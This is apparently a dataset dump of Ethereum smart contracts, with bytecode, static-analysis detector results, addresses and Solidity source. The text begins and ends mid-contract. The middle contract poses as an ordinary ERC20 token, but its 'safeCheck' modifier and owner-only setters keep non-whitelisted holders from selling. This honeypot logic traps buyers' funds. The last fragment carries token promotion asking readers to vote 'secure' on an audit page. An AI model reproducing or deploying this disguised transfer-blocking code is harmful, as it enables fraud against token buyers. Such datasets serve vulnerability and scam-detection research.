5611d3f57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611d0a565b50611d4b929150611e5c565b5090565b828054828255906000526020600020908101928215611d3f579160200282015b82811115611d3f578251825591602001919060010190611d6f565b828054828255906000526020600020908101928215611dd7579160200282015b82811115611dd75782518051611dc7918491602090910190611e71565b5091602001919060010190611daa565b50611d4b929150611eec565b828054828255906000526020600020908101928215611e30579160200282015b82811115611e305782518051611e20918491602090910190611e71565b5091602001919060010190611e03565b50611d4b929150611f09565b604080516060810182526000808252602082018190529181019190915290565b5b80821115611d4b5760008155600101611e5d565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611ea75760008555611d3f565b82601f10611ec057805160ff1916838001178555611d3f565b82800160010185558215611d3f5791820182811115611d3f578251825591602001919060010190611d6f565b80821115611d4b576000611f008282611f26565b50600101611eec565b80821115611d4b576000611f1d8282611f26565b50600101611f09565b50805460018160011615610100020316600290046000825580601f10611f4c5750611f6a565b601f016020900490600052602060002090810190611f6a9190611e5c565b50565b6000611f80611f7b84612e8d565b612e4b565b9050828152838383011115611f9457600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b0381168114610b3557600080fd5b600082601f830112611fd2578081fd5b81356020611fe2611f7b83612e6f565b8281528181019085830183850287018401881015611ffe578586fd5b855b858110156120235761201182611fab565b84529284019290840190600101612000565b5090979650505050505050565b600082601f830112612040578081fd5b81356020612050611f7b83612e6f565b82815281810190858301855b85811015612023578135880189603f820112612076578788fd5b6120878a8783013560408401611f6d565b855250928401929084019060010161205c565b600082601f8301126120aa578081fd5b813560206120ba611f7b83612e6f565b82815281810190858301855b85811015612023576120dd898684358b0101612149565b845292840192908401906001016120c6565b600082601f8301126120ff578081fd5b8135602061210f611f7b83612e6f565b828152818101908583018385028701840188101561212b578586fd5b855b858110156120235781358452928401929084019060010161212d565b600082601f830112612159578081fd5b611b5883833560208501611f6d565b600060208284031215612179578081fd5b611b5882611fab565b60008060408385031215612194578081fd5b61219d83611fab565b946020939093013593505050565b600080600080600060a086880312156121c2578081fd5b853567ffffffffffffffff808211156121d9578283fd5b6121e589838a01611fc2565b965060208801359150808211156121fa578283fd5b61220689838a016120ef565b9550604088013591508082111561221b578283fd5b61222789838a0161209a565b9450606088013591508082111561223c578283fd5b61224889838a01612030565b9350608088013591508082111561225d578283fd5b5061226a88828901612149565b9150509295509295909350565b600060208284031215612288578081fd5b8151611b5881612ee7565b6000602082840312156122a4578081fd5b5051919050565b6000602082840312156122bc578081fd5b815167ffffffffffffffff8111156122d2578182fd5b8201601f810184136122e2578182fd5b80516122f0611f7b82612e8d565b818152856020838501011115612304578384fd5b612315826020830160208601612ebb565b95945050505050565b60006020828403121561232f578081fd5b5035919050565b60008060408385031215612348578182fd5b8235915061235860208401611fab565b90509250929050565b60008060408385031215612373578182fd5b82359150602083013561238581612ee7565b809150509250929050565b600080600080600060a086880312156123a7578283fd5b8535945060208601356123b981612ee7565b9350604086013560ff811681146123ce578384fd5b94979396509394606081013594506080013592915050565b6000602082840312156123f7578081fd5b81516001600160601b0381168114611b58578182fd5b6000815180845260208085019450808401835b838110156124455781516001600160a01b031687529582019590820190600101612420565b509495945050505050565b6000815180845260208085018081965082840281019150828601855b858110156124965782840389526124848483516124d2565b9885019893509084019060010161246c565b5091979650505050505050565b6000815180845260208085019450808401835b83811015612445578151875295820195908201906001016124b6565b600081518084526124ea816020860160208601612ebb565b601f01601f19169290920160200192915050565b6000815460018082166000811461251c576001811461253a57612578565b60028304607f16865260ff1983166020870152604086019350612578565b6002830480875261254a86612eaf565b60005b8281101561256e5781546020828b010152848201915060208101905061254d565b8801602001955050505b50505092915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b600060018060a01b038616825284602083015260a06040830152601860a08301527f73657450656e64696e6741646d696e286164647265737329000000000000000060c083015260e0606083015261262460e08301856124d2565b905082608083015295945050505050565b6001600160a01b039490941684526020840192909252151560408301526001600160601b0316606082015260800190565b600060018060a01b038716825285602083015260a0604083015261268d60a08301866124d2565b828103606084015261269f81866124d2565b9150508260808301529695505050505050565b600060018060a01b038716825285602083015260a060408301526126d960a08301866124fe565b828103606084015261269f81866124fe565b6000608082526126fe608083018761240d565b828103602084015261271081876124a3565b905082810360408401526127248186612450565b905082810360608401526127388185612450565b979650505050505050565b90815260200190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b60208101600883106127b457fe5b91905290565b600060208252611b5860208301846124d2565b60208082526027908201527f476f7665726e6f72416c7068613a2070726f706f7365722061626f76652074686040820152661c995cda1bdb1960ca1b606082015260800190565b6020808252603c908201527f476f7665726e6f72416c7068613a2070726f706f73616c2063616e206f6e6c7960408201527f2062652065786563757465642069662069742069732071756575656400000000606082015260800190565b60208082526022908201527f476f7665726e6f72416c7068613a20766f74657220616c726561647920766f74604082015261195960f21b606082015260800190565b60208082526036908201527f476f7665726e6f72416c7068613a2070726f706f73657220766f7465732062656040820152751b1bddc81c1c9bdc1bdcd85b081d1a1c995cda1bdb1960521b606082015260800190565b60208082526022908201527f476f7665726e6f72416c7068613a20696e76616c69642070726f706f73616c206040820152611a5960f21b606082015260800190565b6020808252604f908201527f476f7665726e6f72416c7068613a206f6e65206c6976652070726f706f73616c60408201527f207065722070726f706f7365722c20666f756e6420616e20616c72656164792060608201526e1858dd1a5d99481c1c9bdc1bdcd85b608a1b608082015260a00190565b60208082526050908201527f476f7665726e6f72416c7068613a206f6e65206c6976652070726f706f73616c60408201527f207065722070726f706f7365722c20666f756e6420616e20616c72656164792060608201526f1c195b991a5b99c81c1c9bdc1bdcd85b60821b608082015260a00190565b60208082526023908201527f476f7665726e6f72416c7068613a206d7573742070726f7669646520616374696040820152626f6e7360e81b606082015260800190565b6020808252602a908201527f476f7665726e6f72416c7068613a2073656e646572206d75737420626520676f6040820152693b1033bab0b93234b0b760b11b606082015260800190565b6020808252603b908201527f476f7665726e6f72416c7068613a2070726f706f73616c2066756e6374696f6e60408201527f20696e666f726d6174696f6e206172697479206d69736d617463680000000000606082015260800190565b6020808252601190820152706164646974696f6e206f766572666c6f7760781b604082015260600190565b6020808252603d908201527f476f7665726e6f72416c7068613a2070726f706f73616c2063616e206f6e6c7960408201527f2062652071756575656420696620697420697320737563636565646564000000606082015260800190565b6020808252601f908201527f476f7665726e6f72416c7068613a20746f6f206d616e7920616374696f6e7300604082015260600190565b60208082526034908201527f476f7665726e6f72416c7068613a2070726f706f73616c20616374696f6e20616040820152736c7265616479207175657565642061742065746160601b606082015260800190565b6020808252601f908201527f476f7665726e6f72416c7068613a20766f74696e6720697320636c6f73656400604082015260600190565b6020808252818101527f476f7665726e6f72416c7068613a20696e76616c6964207369676e6174757265604082015260600190565b6020808252601590820152747375627472616374696f6e20756e646572666c6f7760581b604082015260600190565b60208082526039908201527f476f7665726e6f72416c7068613a2063616e206f6e6c792063616e63656c204160408201527f6374697665206f722050656e64696e672050726f706f73616c00000000000000606082015260800190565b8151151581526020808301511515908201526040918201516001600160601b03169181019190915260600190565b8981526001600160a01b038916602082015261012060408201819052600090612d848382018b61240d565b90508281036060840152612d98818a6124a3565b90508281036080840152612dac8189612450565b905082810360a0840152612dc08188612450565b90508560c08401528460e0840152828103610100840152612de181856124d2565b9c9b505050505050505050505050565b9889526001600160a01b0397909716602089015260408801959095526060870193909352608086019190915260a085015260c0840152151560e083015215156101008201526101200190565b918252602082015260400190565b60405181810167ffffffffffffffff81118282101715612e6757fe5b604052919050565b600067ffffffffffffffff821115612e8357fe5b5060209081020190565b600067ffffffffffffffff821115612ea157fe5b50601f01601f191660200190565b60009081526020902090565b60005b83811015612ed6578181015183820152602001612ebe565b838111156111295750506000910152565b8015158114611f6a57600080fdfea26469706673582212208ce078da0f7e85535be884db77d2f0091c9621e63e79ce4b90db8e58de6f45b064736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,449
0xba00a53d23f5188deb0745948da20c5d2d254218
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_AIOZ(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205ba4c7592724bdf6fa0599cc929e0cbf111dadf969c624aced2aca5ab9d4765064736f6c63430006060033
{"success": true, "error": null, "results": {}}
5,450
0x39baefb8a53e3ed5833c9fdf8bb1cbb544185610
/** *Submitted for verification at Etherscan.io on 2022-04-21 */ /** https://t.me/OfficialCamelCoin https://www.certik.com/projects/camel-coin We're getting our contract audited by CERTIK before launch!! Make sure you vote 'secure' on the link 👆 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address 